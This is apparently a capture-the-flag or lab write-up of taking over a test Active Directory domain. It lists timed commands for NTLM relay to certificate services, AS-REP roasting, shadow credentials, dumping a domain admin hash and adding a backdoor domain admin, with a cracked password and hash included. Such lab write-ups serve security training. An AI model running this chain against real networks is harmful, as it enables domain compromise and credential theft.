**Super short write-up**

We identified that a user tricia is trying to access the kali machine via SMB and found that the domain controller has a certificate request service running on its HTTP port 80. We relayed the SMB request to the DC1 to get a authentication certificate + a kerberos certificate of that low level user. We then queried the LDAP and found that two users were AS-REP roastable. One of the users named ramon had GenericAll to the DC1. We requested the service ticket and cracked it using the rockyou.txt. With this user we then added shadow credentials to the DC1. We then dumped the ntlm hash of the domain admin user dominik, which we subsequently used to add the plumber user to the domain and to the enterprise admins and domain admins group.

**Timeline:**

```
16:52   ntlmrelayx.py -smb2support -t http://10.0.8.11/certsrv/certfnsh.asp -smb2support --adcs
16:53   certipy auth -pfx Tricia.pfx -ns 10.0.8.11 -dc-ip 10.0.8.11 -username Tricia -domain plumetech.local
16:54   export KRB5CCNAME=`realpath tricia.ccache`
16:54   netexec ldap 10.0.8.11 --use-kcache -u tricia --bloodhound -c all --kdcHost 10.0.8.11 --dns-server 10.0.8.11
17:02   GetNPUsers.py plumetech.local/ -usersfile ramon
17:04   certipy shadow add -u ramon@plumetech.local -p '7noentras7' -dc-ip 10.0.8.11 -ns 10.0.8.11 -target DC1.plumetech.local -account DC1
17:05   certipy auth -pfx DC1.pfx -ns 10.0.8.11 -dc-ip 10.0.8.11 -username DC1 -domain plumetech.local
17:12   secretsdump.py 'DC1$@DC1.PLUMETECH.LOCAL' -k -just-dc-user dominik -just-dc-ntlm -no-pass
17:13   getTGT.py plumetech.local/dominik -hashes :21f36776f107358e26c82dd105b7fe64

17:13   bloodyAD -u dominik -d plumetech.local -k --dc-ip 10.0.8.11 --host dc1.plumetech.local add user plumber Passw0rd!
17:14   bloodyAD -u dominik -d plumetech.local -k --dc-ip 10.0.8.11 --host dc1.plumetech.local add groupMember "Domain Admins" plumber
```

**Flag verification:**

```
┌──(venv)─(kali㉿kali)-[~]
└─$ bloodyAD -u dominik -d plumetech.local -k --dc-ip 10.0.8.11 --host dc1.plumetech.local get membership plumber

distinguishedName: CN=Administrators,CN=Builtin,DC=PLUMETECH,DC=LOCAL
objectSid: S-1-5-32-544
sAMAccountName: Administrators

distinguishedName: CN=Users,CN=Builtin,DC=PLUMETECH,DC=LOCAL
objectSid: S-1-5-32-545
sAMAccountName: Users

distinguishedName: CN=Domain Users,CN=Users,DC=PLUMETECH,DC=LOCAL
objectSid: S-1-5-21-1754575515-22446835-1993822327-513
sAMAccountName: Domain Users

distinguishedName: CN=Enterprise Admins,CN=Users,DC=PLUMETECH,DC=LOCAL
objectSid: S-1-5-21-1754575515-22446835-1993822327-519
```

```
sAMAccountName: Enterprise Admins

distinguishedName: CN=Denied RODC Password Replication Group,CN=Users,DC=PLUMETECH,DC=LOCAL
objectSid: S-1-5-21-1754575515-22446835-1993822327-572
sAMAccountName: Denied RODC Password Replication Group
```